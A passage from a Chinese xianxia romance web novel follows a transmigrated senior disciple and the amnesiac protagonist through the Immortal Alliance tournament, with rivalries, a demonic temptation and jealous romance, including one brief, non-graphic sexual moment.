“掌门事务繁忙,历来最多只收两名亲传弟子。按以往的流程本该是通过测灵根后,观察新弟子的心性和天资一段时间,再由掌门和各长老商议决定收谁为徒。原以为这届新弟子天赋平平,掌门或许会从我们上一届的出色弟子中选拔,没想到那个叫叶溯光的一上来就搞出那么大动静,直接让测灵玉石炸了,被破例直接收入掌门门下!” “说起来,文澜师兄可是上届弟子中最出色的之一,虽只是三灵根,但修炼勤勉,处事稳妥,交托给他的事务从无纰漏。他一直盼着能成为大师兄的直系师弟呢。” “唉,太可惜了,只能等下次了吧?” “等什么下次啊!谁不知道掌门历来只收两名亲传,若叶暝一直占着位子,文澜师兄怕是终生无望了。” “——咔嚓!” 一声清脆的筷子断裂声突兀响起,打断了众人的议论。 几个正聊得投入的弟子回头一看,只见文澜脸色铁青,手中的筷子断成两截。几人吓得噤声,慌忙溜走了。 文澜胸口剧烈起伏,气得几乎要呕血。 走了一个阴魂不散的叶暝,现在又来个横空出世的叶溯光,他跟姓叶的是不是天生犯冲,一个个都来抢他成为大师兄师弟的机会! 他攥紧了拳头,指甲深深掐进掌心。不行,他非得想个法子,把这个碍眼的叶溯光给赶走不可! 他愤懑地推开自己住处的大门,只觉得空气里徘徊着一股阴冷气息。还没等他反应过来,被一团浓稠的黑气糊了满脸。文澜眼前一黑,再能视物时,已身处一个伸手不见五指的诡谲空间,一道带回音的嘶哑语音在他脑海中响起:“——恨吗?” “你这般努力,付出无数心血,却始终无法触及那近在咫尺的身影,眼睁睁看着本该属于你的位置,被一个不知从哪里冒出来的小子轻易夺走。” “看着你仰望之人身边站着别人,而你只能永远当一个仰望者。” “要不要和我做个交易?我能给你力量,扫清你前方的一切障碍,让你得偿所愿。” “什么人?!”文澜又惊又怒,“藏头露尾的鼠辈!是魔族吗,魔族也敢潜入陨星山?!” “我绝不会与你同流合污,做你的春秋大梦去吧!” 他拔剑在空气中一顿乱砍,试图驱散这黑暗,黑暗却无处不散。那道声音低笑了两下,仿佛无数人重叠在一起的低笑声,令文澜毛骨悚然:“无妨,你会明白的。” “当你再次感受到无能为力的痛苦时......当你看到那人与你渐行渐远时......你会.......主动来找我的。” 声音仿佛融入了无尽的黑暗,渐渐远去,最后的话语却如同跗骨之蛆,久久回荡在文澜耳边。等回过神时,文澜早已冷汗如雨下。 栖云峰。 晏兮仰首看向稳坐在房梁顶上的黑衣少年,只觉头都大了:“现在是宗门规定的修炼时间吧,你怎么不去修炼?” 叶暝:“掌门师尊所授心法于我无用,我已请示回去自行修炼,他也允了。” 翘课翘这么嚣张的吗,道玄清居然也由着他? 表面上,晏兮对待叶暝还是那般,维持着“温和大师兄兼道侣”的人设,私底下却一直为这件事很崩溃—— 好不容易才把这尊大佛请下山,结果转头又自己跑回来了,他还没找到能在龙傲天恢复记忆后也能保住小命的金钟罩啊!! 不过如今叶暝失去了记忆,在经历山路十八弯后仍成了道玄清座下弟子,剧情说不定能引向正轨——毕竟如果叶暝能乖乖走原著里没被原主虐待的剧情也挺好,成为掌门座下弟子,专心于修炼,重塑灵核修复灵脉,将来成为修真界大能。 但晏兮知道自己有点想当然了,灵核不是那么好重塑的,失去记忆的叶暝也没这个意愿。没了跟原主之间的深仇大恨,平白无故多了个道侣,龙傲天也随遇而安起来。作为新弟子中的风云人物,不合群也就算了,还几次三番跑来栖云峰找他。 叶暝在他屋顶上睡了三天,赶也赶不走。 虽说修真者寒暑不侵,但叶暝灵脉断尽,在陨星山也不能堂而皇之用魔息护体,瞧着外面飘起的细雪,晏兮怕这祖宗冻出个好歹,以后恢复记忆了更跟他没完:“算了,你进来吧。” 叶暝闻言掀开眼皮,从房梁顶轻松跃下:“师兄肯让我进屋了?” “不让你进屋能怎么办呢,你又不肯回弟子舍。”晏兮叹了口气,违心地补充,“谁让你是我道侣,我心疼你。” 系统在脑海里绘声绘色地模仿:【我~心~疼~你~】 晏兮:“......” 你住嘴。 晏兮老脸一红。 男主就不似这般煞风景。这话如蜜糖,叶暝肉眼可见开心起来,亦步亦趋跟在晏兮身后进了屋。 然而,当他看清屋内近乎家徒四壁的景象时,笑容变戏法似的敛了下来。这环境太破败了,四处漏风,根本配不上晏兮这样的大美人。 况且,栖云峰都成这样了,师兄之前居然还说,要努力攒灵石给他...... 巨大的感动与心疼之余,叶暝心中不由多了一丝怀疑。师兄对他这般好,只是因为爱他吗? 如果自己不珍惜他,辜负了他怎么办,师兄当真从来没想过这个问题吗? 晏兮不知道男主脑补了些什么,倒了杯热茶给他,听他问:“师兄,你就住在这种地方?” “还说呢,这得要怪谁?” 虽然栖云峰被烧不是叶暝亲手所为,但确实因他而起。 “那师兄当初,为何不直接将我交给魔域?我是陨星山的叛徒,把我交出去,既能向魔域示好,又能为宗门除去一个心腹大患,岂不两全其美?” 又是试探? 晏兮徐徐道:“谁说你是叛徒了,你只是被魔域中人蛊惑跟利用了。那魔尊阎枭是何等人物,阴险狡诈,最擅玩弄人心。你当时被妖兽所伤,不仅磕坏了脑子,灵核灵脉也受到重创,心志不坚才会被他趁虚而入,这怎么能全怪你?” “如果我把你交给魔域,那跟亲手推你去死有什么区别?魔域那是什么地方,弱肉强食,毫无道义可言,仙门又凭什么向他们示好。你失忆没了利用价值,又曾是我仙门弟子,他们岂会容你?把你交出去才是真的害了你。” 叶暝握着茶杯的手指收紧,杯中水面晃出一圈涟漪。原来,是这样吗? 不是因为怜悯,也不是因为别的,而是要护仙门荣誉,更是因为舍不得他死。所以即使栖云峰被烧毁,即使自己可能被连累,师兄也坚持护着自己。 而他不仅不知,还来埋怨师兄。 内疚涌上叶暝心头,不知是不是错觉,他注视着晏兮背影,总觉得三个月不见,师兄似乎又清瘦了些。 多半是因为想念自己吧。 “师兄,你放心,我再也不会让任何人伤害你,我定会让栖云峰恢复如初,变得比以往更好。”从身后环抱住晏兮,叶暝将脸埋进他颈窝。 晏兮没把他的话当回事,你不恢复记忆后一剑捅死我就谢天谢地了,哪还敢指望从龙傲天身上讨到什么好处。 叶暝仿佛一只大型犬,在他颈窝处依赖地蹭来蹭去。 晏兮推开他脑袋:“......别乱蹭。” 痒死了。 * 仙盟大会的日子终于来临。 按照惯例,新入门弟子也可报名参加,但大家心照不宣,新弟子基本就是去走个过场、积累经验,最有希望进入前三甲为宗门争夺荣誉和资源的,还是像晏兮这样有一定修为和名气的“老”弟子。 这天晏兮难得没赖床,一大清早便穿戴整齐,梳洗完毕,站在覆盖着薄雪的空地上朝木门里喊:“叶师弟,你弄好了没?再磨蹭要迟到了!” 木门只开着一道细小缝隙。 叶暝的语音从门缝里闷闷传出,“再等我片刻,马上就好。” 这小子昨晚死缠烂打,有宽敞的弟子舍不去,非要留宿在栖云峰跟他挤在这间小破屋里。 因为晏兮格外强调了不能被同门发现,导致现在越发有种后宫嫔妃偷偷与侍卫私通,还得时刻提防被宫中耳目察觉的即视感。 晏兮被自己这诡异的联想雷得一个激灵,连忙提高音量催促:“到底好了没啊?再不出来,信不信我惩罚你啊?!” 他也就是口嗨一下,哪里真敢惩罚这位爷。 而此时,屋内。 叶暝正将脸深深埋进晏兮常穿的一件衣物里,进行着某种不可言说的疏解。嗅着鼻尖那股淡淡的清香,他视线透过那条狭窄的门缝,贪婪地紧锁着门外之人的身影。 只见晏兮一身利落的粉色劲装,为了今日比试特地换了方便行动的款式,更显身姿挺拔,站在铺着薄薄一层莹白积雪的地面上,冰雪映衬着他如画眉眼,唇红齿白,宛如雪中精灵,清灵剔透,动人心魄。 “师兄,师兄。” “我的,道侣......” 听门外青年说要惩罚自己,叶暝一边默念晏兮的名字,感受着那来自灵核深处的阵痛,一边加快,由喉间溢出低磁性.感的闷哼。 伴随一阵剧烈战栗,他仰起头,冷白色的脖颈上青筋浮动。 缓了少顷,气息归于平稳。 叶暝并起二指,施展清洁法术,将门板上不小心沾染的痕迹清除得一干二净,又依依不舍地抱着晏兮的衣物深吸了两口那令他着迷的气息,这才心满意足地整理好衣袍,推门而出。 “师兄,久等了。” 他走到晏兮身边,神情自若,仿佛刚才在屋内那个失控的人不是他一般。 晏兮瞥了他一眼,总觉得他哪里怪怪的,但又说不上来,只好催促道:“真是有够久的,快走吧!”《 》 15、第十五章 一路上叶暝非要挨着走,晏兮快被挤草丛里了,忍无可忍地推他:“道路那么宽敞,你就不能分开一些走?” “可是师兄,我冷啊。” “你冷个毛!” 明明全身跟发骚了一样热得很! 两人衣袖相蹭,乍看跟连体婴儿似的。察觉叶暝还想把手臂搭过来,晏兮那叫个愁啊,三个月不见而已男主怎么变成了这样,之前虽然也动手动脚,但好歹没这么黏糊啊? “慢着,你身上怎么有点味道?”忽然晏兮步子微顿。 叶暝停下来注视他,“什么味道?” “不知道,形容不出来。”晏兮皱着眉又仔细嗅了嗅,像是清冽的雪与什么东西混杂的味道。 “那,师兄觉得难闻吗?”叶暝黯然道,“若是难闻,我离师兄远一些便是。”说着作势要松开手。 晏兮本应求之不得,可一转头,对上一双写满委屈和失落的狗狗眼,歪?不至于这么矫情吧? “算了,反正也不难闻。”晏兮一脸黑线,本着让龙傲天不高兴自己讨不到任何好处的心思,“看不出来你挺讲究,还用熏香。” 叶暝阴转晴,重新挨紧他,“不是熏香,我从来不用那些。” “那是什么?” 叶暝只挨着他低低地笑,不再言语,那笑容里的餍足和隐秘的得意看得晏兮莫名其妙,发抽呢? 出栖云峰,来到人多眼杂的主道,晏兮这才坚决地和叶暝分开。他得和掌门长老们一同御剑前往大会场地,叶暝则以新弟子“叶溯光”的身份,和其他普通弟子一起乘坐宗门安排的马车。 总不能让人看见这新来的小师弟如此黏着大师兄,既不成体统,晏兮也不知该如何向众人解释这诡异的亲近。 仙盟大会现场,人声鼎沸,壮观无比。各色旗帜飘扬,代表着不同的宗门派别。青云宗作为仙盟之首,席位最为显赫,其后依次是陨星山、幻音阁、合欢派以及诸多小门小派,广场上黑压压一片,少说也有数千人。 晏兮随掌门等人御剑落地,他们比乘坐马车的弟子们到的早些。 刚站稳,一阵鸡飞狗跳的喧哗冲天而起,循声望去,只见几名弟子正被一只毛发油亮的大黑熊追得抱头鼠窜,场面十分混乱。 叶暝刚从马车上下来,冷不丁看到这滑稽的一幕。 “那是妖域的弟子。这次仙盟大会,妖域也会派代表参加。”晏兮恰好走过来,以为他面色冷峻是对面前发生的一切感到不解,便解释了句,“如今妖域与仙门关系尚可,算是盟友。” 可晏兮不知道,叶暝一路上都是这张司马脸,生人勿近的气场让其他弟子不敢靠近,这会儿见到晏兮,面上才露出一点真切的笑,点了点头。 晏兮继续说:“你多留心观察一下,这些门派和妖域来的弟子中说不定有与你志趣相投的。” 毕竟是限制文龙傲天,少不了一些露水情缘。 说不定今天就能与妖域中的那位...... 叶暝没明白,但很快就理清了,师兄定是见他独来独往不合群,这是在拐着弯关心他,怕他孤单呢:“师兄这是让我多交朋友的意思?” 原来师兄一直在默默关注他? 叶暝心里的野兽悄悄红了脸,他还以为晏兮眼里只有吃喝睡呢。 晏兮:“啊?差不多吧。” 对后宫说先从朋友做起然后开始啪啪啪,这种事原著里的男主可没少做。 这时道玄清唤了晏兮一声,晏兮应声过去。道玄清等人在高台落座,晏兮自己也整了整衣袍,作为参赛者,他并不与掌门同坐高台,而是要以陨星山掌门首席大弟子的身份进入待入场区,准备接下来的比试。 他一现身,立刻吸引了众多目光。 “那位就是晏兮?陨星山的掌门首席大弟子?” “果然如传闻一般灼若春樱,清似霜雪,当真令人不敢逼视与玷污。” 晏兮目不斜视地往前走,承受着台下各方人马的注目礼。 青年一身利落粉装,非但不显娇媚,反衬得肤光胜雪,眉眼间疏离清艳。他步履从容行过万众瞩目之地,衣袂拂动间,犹如料峭春寒间第一枝破冰桃华。 【宿主,我不禁回想起你初来乍到,被男主追杀得四处逃窜连滚带爬的狼狈英姿~】 装逼到一半好险栽一跟头,晏兮和系统魔法对轰:你不乘哦~ 叶暝在台下专注地凝视着晏兮身影,看着他挺拔的身姿,似易碎琉璃般的貌美面庞,出神地想:确实是不容玷污。 ......可我偏要玷污。 我早晚要让你心甘情愿地属于我。 不是属于曾经的我,而是现在的这个我。 少年表面不动神色,内心早已想入非非。 才褪去的热意和冲动不受控地再度涌上来。 一名被众多男弟子包围献殷勤的合欢宗姑娘对那些谄媚之徒一个都瞧不上,目光反而被不远处独自抱臂而立的黑衣少年吸引。 少年相貌只能说中上等,腰间也只配着一把单调木剑,但胜在气质冷峻,与众不同,是她喜欢的类型。她袅袅婷婷地挨到“叶溯光”身边,娇声道:“你们陨星山的大师兄确实不错,可惜呀,不是我们喜欢的款。小哥哥,我瞧你这次也报名了仙盟大会,要不要在开始前和姐姐我来一回巩固下修为?放心,和我们合欢宗双修是正经修炼,不算违规的哦~” 还是受控的。 叶暝当即撤远了些,跟被什么脏东西碰了似的,不挨着她。 那姑娘不甘心,媚眼如丝地再贴过去,想伸手拉他衣袖。少年直接转身,头也不回地走开。 姑娘:“......”不解风情的臭小子,是不是不行?! 各派宗主和长老陆续入座后,天边传来一道恢弘的金光,伴随着清越仙乐,整个会场沸腾起来:“是仙盟盟主,盟主此次亲自驾临观战了!” 晏兮跟着众人抬头,望见仙盟盟主踏空而来,样貌跟他看书时想象出来的差不多,给人一种沉稳老男人的感觉,当然,不是真的老男人,这只是一种气质方面的形容。 可惜啊,就是这么强悍的人物后续也会被魔尊阎枭干掉,魔尊再被男主干掉,男主上位成为新魔尊......真是套娃般的俗套剧情,不过晏兮心想剧情都变了,这位盟主说不定能不死呢?哈哈。 凌霄落在高台主位,含笑看向道玄清:“许久不见了,玄清。” 道玄清起身拱手,态度恭敬:“盟主。” 凌霄颔首:“坐。” 他与各门派宗主、长老寒暄客套一番后,目光扫过台下:“因魔域屡屡扰乱天下,仙门如今已不如当年人才济济,颇有凋零之象。没想到,陨星山此届倒是能人辈出啊。” 道玄清心知他指的是测灵玉石爆炸之事,应道:“盟主已知晓此事?” “此事传得沸沸扬扬,本座想不知也难。”凌霄的目光仿佛能穿透人群,精准地落在台下叶暝身上,“你将他收为弟子,若能悉心教导,将来必成大器。” “盟主过誉了。”道玄叹息,“我自身修为已至瓶颈,加之宗门事务繁杂,只怕能教导他的时间有限。这孩子多半还是要由兮儿代为照看。” “兮儿?你那位大徒弟?”凌霄视线转向待入场区那一抹醒目的粉色,“相比较起来,你这大徒弟的资质颇为一般。若本座没记错,上一个弟子叶暝也是由他带着的吧?若是此次再出什么岔子,你就不担心——” “不会,盟主请放心。兮儿是我从小带大,品性纯良,门中上下,包括文澜等弟子,都对他评价甚高,我相信他的为人。”道玄清打断道,“叶暝堕入魔道,是他自身心志不坚,被处治也是咎由自取。何况此前,也是兮儿顾念旧情为他求情,我才放他下山,仁至义尽。” 凌霄莞尔而笑:“玄清向来嫉恶如仇,此次竟念在大徒弟的份上放魔修一条生路,看来真是极为疼爱这个徒弟了。” 言语交锋间,凌霄不再多言,抬手一挥。下方的司仪得到指令,朗声宣布,仙盟大会正式开启! 第一阶段的比试是大乱斗,听完规则的晏兮愿称之为修真版吃鸡——上百名参赛弟子每人分发一枚特制勋章,然后被送入一个地形复杂广袤的结界空间内。 空间会随着时间推移逐渐缩小,如同一个不断收拢的“毒圈”。一旦勋章被他人夺走,或者主动投降,抑或是在“毒圈”外停留超过十秒,都会被立即淘汰。 高座上的各大宗门领袖面前,悬浮着数面巨大的水镜,清楚地映照出结界空间内的实时战况,如同现场直播。 这一阶段旨在快速筛选掉大部分参赛者,节奏极快。为打发时间,晏兮在一棵树上睡了大半天。目前离结束只剩不到四个时辰,排名实时显示在一面由法术凝聚而成的光幕上,前四甲尤为突出: 1、狄星洲(青云宗)获取勋章*125 2、丹宸(妖域)*109 3、顾冕(幻音阁)*78 4、胡小柔(妖域)*60 ...... 高台上,各派宗主开始了商业互吹:“看来此番,妖域真是人才辈出啊。” “还是青云宗更胜一筹,这狄星洲不愧是盟主亲自教出来的,听闻今年刚满弱冠?后生可畏,后生可畏!” 高台下,其他门派的弟子望着排名,议论声中不免带上了对陨星山的讥嘲: “你们陨星山那位大名鼎鼎的晏大师兄呢?怎么连前十的边都没摸到,快成吊车尾了?看来不过是徒有虚名嘛!” “果然,资质平庸就是平庸,再怎么捧也就那样了。” “当今修真界,三灵根遍地走,还不如杂灵根有‘逆袭’的噱头呢。若他真是杂灵根,能混到首席大弟子的位置,我倒敬他是条努力的汉子!可惜只是个不上不下的三灵根。” 这简直是借晏兮羞辱他们陨星山。陨星山众弟子听得愤愤,眼看就要吵起来。 道玄清望入水镜。 在“毒圈”即将再次收缩的边缘,一棵古树的茂密枝桠间,几乎让人忘记他存在的晏兮终于在等到一名正仓皇逃向安全区的别派弟子时,懒洋洋地动了。 “排第六?我好幸运。” 随着轻飘飘一句落下,接下来发生的一幕,快得差点叫人反应不过来。 指尖凝起灵流,只见晏兮悄无声息地滑下树干,短短一息内做完点穴定身、顺手摘走对方腰间的勋章、再转身离去一系列动作。将被点了穴,无法动弹的那名弟子直接留在了即将被“毒圈”吞噬的区域。 全程,青年没说一句话,甚至没让对方看清他的正脸。那被淘汰的弟子直到被传送出结界还是一脸懵,完全不知道是谁偷袭了自己。 被淘汰者拥有的勋章数量会继承给淘汰他的人。于是有了第一次出手后,晏兮名次飙升,取代了原来第六名的位置。 晏兮这不出手则已,一出手便不留后路的架势,让之前出言嘲讽的别派弟子纷纷哑了火。 陨星山的弟子们顿时扬眉吐气,激动地反击:“看到没!刚才被我们大师兄随手送走的就是你们派的弟子吧?哈哈,活该!” “好歹也是个金丹,怎么这么菜啊哈哈哈哈,被我们大师兄一招秒了。” “现在是谁徒有虚名?脸疼不疼?” 别派弟子面露尴尬,强撑着嘴硬:“一、一般吧,偷袭而已,有什么好得意的......” 【消耗疾影符(一次性)x1,扣除30积分,当前剩余积分:3220】 刚才那名弟子是金丹初期,如果不借用系统,晏兮没那么轻易得手。所以要想装逼呢,金手指还是得用。 将夺得的勋章收入锦囊,晏兮大概能猜到现在外面对他是个什么评价,内心不由得感慨,原主从前也是不容易。 抛开修为境界不提,若是单灵根,做得好是理所当然,是天才;若是杂灵根,做得好是逆天改命,是励志传奇。 偏偏原主是个最普通的三灵根,做得好无人喝彩,觉得你本就该如此;稍有差池又会引来无数质疑,被诟病“到底只是个普通灵根”。长期处于这种环境下,也难怪原主心理会扭曲变态,拼命想打压更有天赋的叶暝来维持自己的地位。 场外,道玄清对水镜中晏兮的表现颔首,似乎颇满意。旁边的凌霄笑看他一眼,将目光投回水镜。 结界内,晏兮轻松进入安全区后,好巧不巧,撞到叶暝在与一名青衣男子交手。 那青衣男子是幻音阁的弟子顾冕,武器是一支碧玉箫,音波化刃,攻势凌厉,隔着一段距离,晏兮都觉得耳膜被震得隐隐作痛。然处于音波攻击中心的叶暝眉头不带蹙一下,出剑快如游龙,竟完全不受音波影响。 不过几个回合,顾冕便败下阵来,腰间的勋章易主,叶暝的名次取代他,跃升至第三名。 担心被波及,晏兮不敢靠得太近,只将神识蔓延过去,感知到那边一边倒的战况,心底不由松了口气。 他原本还有点担心叶暝,毕竟他灵脉尽毁,无法动用灵力,只能靠魔息伪装,若遇到真正的强敌,久战之下很可能暴露魔功,导致事态一时无法善了。 如今瞧来,是白担心了。 龙傲天就算不用灵力,单凭肉身力量和战斗本能,也能轻松碾压同辈。 不出半个时辰,陨星山参赛队伍里原本排名靠后的两人纷纷咸鱼翻身,冲进了前六和前三。 随着被淘汰的顾冕身影消失在结界中,叶暝回头。 身后树影婆娑,一片寂静。 他若有所思须臾,提剑离开。 晏兮躲在粗壮的树干后,见叶暝走远,正准备换个地方,一道黑影悄无声息地出现在身后,转身时几乎和他脸贴着脸。 “现在,换师兄和我玩躲猫猫了吗?”《 》 16、第十六章 男主我擦你大爸! 被吓到的晏兮两眼一抹黑,你这还当什么龙傲天,转行吧孩子,转行吧,去演恐怖片杀人魔,票房包爆的。 叶暝本只是想逗逗晏兮,见他脸色煞白,连忙从树后走出,“师兄没事吧,吓到了?” 晏兮没好气地推开他凑近的脸:“你说呢?!” “...对不起,我错了,我不该吓你。”叶暝摸了摸鼻子,“作为赔罪,接下来的路我和师兄同行吧。” “这算什么赔罪?” “方便有个照应呀。刚才师兄也看到了吧?如果有人敢偷袭师兄,我第一个解决了他。” 是这个理。虽然晏兮认为凭自己也行,但有龙傲天罩着,他顺利进入下一轮获得前三甲的希望只会更大。 两人结伴同行,一路上有一搭没一搭地聊着,主要是叶暝在找话题,晏兮随口应付两句,没走多远,遇上了文澜和风轻絮。 文澜瞧见晏兮,面上一喜,可再看清晏兮身旁那少年是谁后,脸色比吞了只耗子还难看。 风轻絮倒是很高兴:“大师兄好巧呀!我和文澜师兄是半路上遇见的,我差点就被淘汰了,幸好文澜师兄及时出手帮了我。我进了前二十甲,有十多枚勋章呢!” 文澜期待地望向晏兮,想得到几句夸奖,可晏兮只是点了点头:“同门之间互相帮助是应该的。” 文澜眼底的光黯淡了些,但能跟在大师兄身边,还是打起了精神。 双人行变成四人行。一路同行,自然少不了继续掠夺其他门派弟子的勋章。 在一次文澜主动在前头打头阵,清理了几个不长眼的对手后回头想跟晏兮汇报情况,恰好看到那黑衣少年和晏兮靠得极近,从他的角度看去,两人的脸几乎贴在一起,仿佛正在接吻。 “叶溯光你在干什么,你竟然敢冒犯大师兄?!” 文澜这一嗓子把风轻絮也吓了一跳。 “怎么,师弟见师兄发间沾到树叶故而摘掉,此行为不可?” 叶暝慢条斯理地直起身,指尖夹着一片翠绿的树叶,在文澜眼前晃了晃,“如此就成了冒犯?还是说文师兄你心思不纯,以为我们在做什么见不得人的事?也对,心脏的人看什么都脏。” “你说什么?!”文澜愤怒拔剑。 风轻絮:“干什么呀!怎么自己人内讧起来了?文师兄,叶师弟,你们快别打了!” 晏兮揉眉心,“都别吵了,离大会结束只剩一个时辰,当务之急是攒够勋章确保晋——” 一声清越嘹亮的凤鸣划破长空,打断了他的话。 不远处,一道红衣身影与一道藤黄身影正在交锋,灵力碰撞产生的气浪席卷四周。晏兮定睛一瞧,居然正是目前排名遥遥领先的两位。 丹宸出身妖域,真身乃是火凤,攻势华丽而炽烈,狄星洲则手持一杆银色长枪,力大势沉,每一击都裹挟破空之声。 两人棋逢对手,打得难分难解。晏兮的注意力很快被吸引过去,尤其是对那一袭红衣的妖域少主丹宸。仙盟大会开始前晏兮就在期待,如今终于被他见到本尊! 这位,乃是原著里龙傲天唯一的男后宫,丹宸! 说来也奇,在一本男频文里搞耽美,多半是要被读者追着喷的,何况这还是本肉香四溢的限制文,直男读者看到不该看的绝对会头皮发麻,菊花一紧。但喷这本的却没多少,只因作者将他写活了——本是翱翔九天的烈火凤凰,偏偏心甘情愿为一人敛羽,囚于笼中。正因他骄傲强大,他的臣服才格外动人。那被征服和驯服的过程,才充满了张力。 场中,狄星洲一枪震开丹宸的火焰,还想继续猛攻,丹宸猝然做了个暂停的手势,“喂,青云宗的,我敬你是个不错的对手,但能不能先暂停一下,总不能等我们两败俱伤之后,让躲在旁边的人白白捡了便宜吧?” 狄星洲堪堪收住砸出去的枪势,一脸憨直地顺着丹宸拇指所指的方向看到了树林中的晏兮四人,不解道:“他们看他们的,我们打我们的。你很强,我们继续打啊!” “一根筋呐你,听着,我若输给你,你自己必然也是强弩之末,届时被他们偷袭坐享其成怎么办,不如我们先联手,把潜在威胁清除了再说?” 狄星洲挠了挠头,虽然不太理解这些弯弯绕绕,但觉得似乎很有道理,于是爽快答应:“哦,好,虽然不理解,但我觉得你说的有道理,我只要能打架就行了!” 晏兮正看得起劲,忽然察觉到势头不对。那两人竟同时调转矛头,强大的灵流朝着他们藏身之处轰了过来。 晏兮:“?” 电光石火之间,叶暝身影一闪,挥动手中的木剑挡在晏兮身前,硬生生接下了这凌厉的合击! 站在稍前位置的文澜和风轻絮则被气浪掀飞了出去。 狄星洲直奔文澜和风轻絮而去,丹宸则对上了叶暝和晏兮,用带笑的口吻对晏兮说:“陨星山掌门首席大弟子,久仰大名,过两招?” 晏兮尚未开口,叶暝已一字一顿回道:“找、死。” 文澜正想应战,忽听“砰”一声巨响,丹宸与叶暝悍然对掌,气浪翻涌间,晏兮的命令随之传来:“文澜,你不是狄星洲的对手,别硬拼,带小师妹先走。” 文澜起初不信邪,硬接狄星洲几招后虎口发麻,这才意识到差距,咬牙道:“是,大师兄!”拉起还没完全反应过来的风轻絮急速后退。 “唉唉?别跑啊,继续打啊!”狄星洲嚷嚷着还没打过瘾呢,提着长枪兴致勃勃地追了上去。 另一边,丹宸与叶暝对了一掌,劲气四溢。目前看来似乎势均力敌,但丹宸身为妖域少主,实力不容小觑,而叶暝无法动用灵力,久战必露破绽。晏兮想要插手,但那两人交手产生的灵力波动极其强悍,没有元婴期的修为根本介入不了。 丹宸尚且从容,叶暝额角却已渗出冷汗,晏兮心知他快要撑不下去了,输掉大会是小,暴露了魔功是大,聪明人都知道该收手。 叶暝还记得晏兮说要赢得前三甲把赚到的灵石都给他这件事,道:“师兄,我要进入下一轮并夺得魁首,我不会输给他更不会在这停步。” 晏兮:嚯,不愧是龙傲天,好强大的事业心。 【叮!是否使用一次性技能“灵力爆发”(模拟元婴大圆满一击)?需要积分500。】 晏兮:“是。” 结界另一处。 离第一轮比试还剩不到一柱香,带风轻絮逃开一段距离的文澜发觉自己的勋章量离稳稳晋级仍差一些。见风轻絮对他毫无防备,文澜趁她不注意一把摘下她腰间勋章! 风轻絮愕然:“文澜师兄,你......” “小师妹,反正你也晋级不到下一轮,对不住了。”文澜攥紧那枚勋章,避开她难以置信的目光,他势必要晋级要让大师兄看到,他文澜比那个什么叶溯光更有能力,“这次魁首,将会是我的。” 主战场上。 面对硬接他攻击的叶暝,丹宸漠然道:“我一时竟不知你是太看不起我,还是太看得起自己,居然不使用灵力吗?” 掌中火焰之力骤然加剧。叶暝喉头一甜,一丝鲜血自唇角溢出。再这样下去必输无疑,叶暝眸色一暗,体内被压抑的魔气开始不受控制地躁动,准备强行催动。 千钧一发之际,一道白色灵流冲击在丹宸与叶暝之间,强行将两人分开,并将丹宸逼退数步。 丹宸猝不及防,稳住身形后霍然看向出招的晏兮,不是说陨星山大弟子只是金丹中期?他刚才那招少说也是个元婴大圆满,陨星山大弟子为何要隐瞒实力? “二打一,不太公平吧?” 晏兮:“那我们一对一,来吗?” 丹宸眼神顿时变了,比起那叫叶溯光的傲慢少年,他对这个陨星山深藏不露的大师兄更感兴趣,“好啊,那我们——” 话音未落,天际传来一声悠长钟鸣,“时辰到!第一轮比试结束,所有参赛弟子即刻停止争斗,将被传送出结界!” 光芒闪过,结界内所有弟子身影模糊,下一刻齐齐出现在了会场中央。 “可惜。看来我们只能等到下一轮再切磋了?”丹宸脸上闪过一丝遗憾,主动向晏兮伸出手,“虽然我早就知道你,但你应该还不认识我。正式认识一下,我叫丹宸。” 活的男后宫向他自我介绍了! 晏兮内心激动,面上维持着从容风度:“我知道,妖域少主,久仰。我是晏兮。” 两手相握,顿感一道灼热视线钉在背上,晏兮回头望去,叶暝正抱臂倚在远处的古树下,唇角血迹未干,脸色阴沉得能滴出水来,那双黑沉沉的眸子正死死盯着他们交握的手。 晏兮心下了然。 原著写到,叶暝对这位妖域少主可谓是不打不相识,一见钟情。纵然后宫中美女如云,别的后宫可能被冷落,丹宸却是雷打不动地深得龙傲天喜爱,可见龙傲天有多偏爱这位男后宫。 所以这是,吃醋了?《 》 17. 第十七章 接下来叶暝的行为更加验证晏兮的猜想。 “还要握多久。”阴影笼罩,叶暝已欺身近前,脸色比刚才吐血时还难看,攥住晏兮手腕的力道大得惊人,几乎是从丹宸掌中硬生生夺了回来,“不过是初识,不必握得这般难舍难分吧?” 语气说是撞见心上人红杏出墙都不为过。见状,丹宸饶有兴致地对上黑衣少年充满敌意的眼神,又瞥向被他护得严实的晏兮,唇角勾起抹玩味的笑,却没再说什么。 高台上,司仪宣布晋级者为勋章数量前十甲的弟子,下一轮擂台赛将于三日后举行。 接下来三天的伙食由仙盟免费提供。菜品丰盛,晏兮狂喜,决定要吃个回本,但表面上还得维持大师兄的优雅形象,不能狼吞虎咽,可等他将那份儿光盘了还是馋,想再吃点甜的,叶暝已经将自己那碟水晶糕推到了晏兮手边。 “我不喜欢吃甜的,师兄你吃吧。” 龙傲天确实不爱吃甜的,他更爱吃麻辣兔头。 晏兮没推拒,龙傲天肚量挺大,没为刚才一事跟他置气,挺好。 他小口而迅速地消灭着糕点。 叶暝托腮在旁看着,仿佛光看晏兮吃东西都是一件极其满足的事。 陨星山弟子们纷纷围拢过来,脸上洋溢出与有荣焉的兴奋:“恭喜大师兄晋级!” “我就知道大师兄一定行的!大师兄最后那招太帅了,要不是你出手,叶师弟恐怕真要输给那个妖域少主了!” 有弟子心直口快,说完才觉不妥,担心地瞥向叶暝。 当面说和背地蛐蛐可是两码事! 晏兮也怕这话刺到龙傲天的自尊心,正想打个圆场,却见叶暝非但没有不悦,反而目光灼灼地注视着晏兮,笑得愈发开心:“确实,多谢师兄救我。” “......”晏兮被他笑容晃了眼睛,装模作样地咳两声,“低调,低调。” 【恭喜宿主解锁并结识关键人物:妖域少主丹宸。积分+150。】 听着系统提示,晏兮回到仙盟安排的临时住处,至今没搞懂自己绑定的到底是个什么系统。 别人家的系统要么是逆袭打脸,要么是掠夺气运,要么是咸鱼躺平指南,他的系统却好像个“道侣养成模拟器”,核心任务就这么一条。 系统告诉晏兮其实大差不差,它核心其实是求生系统来的:【放心,只要宿主认真做任务攒够积分,本系统可以保证,就算您这副肉身嗝屁了,也能以其他方式活下去!】 晏兮琢磨:“大致懂你意思,就是我可以死遁?像那种科幻设定里,把意识上传到终端变成电子幽灵那种吗?可这是修仙世界啊,要怎么搞——” 话音未落,眼角余光里有一缕极淡的黑气闪过。 “谁?”晏兮猛地推开窗户。门外值守的弟子被惊动,连忙询问:“大师兄,怎么了?” “刚才有没有看到什么不对劲的东西?” 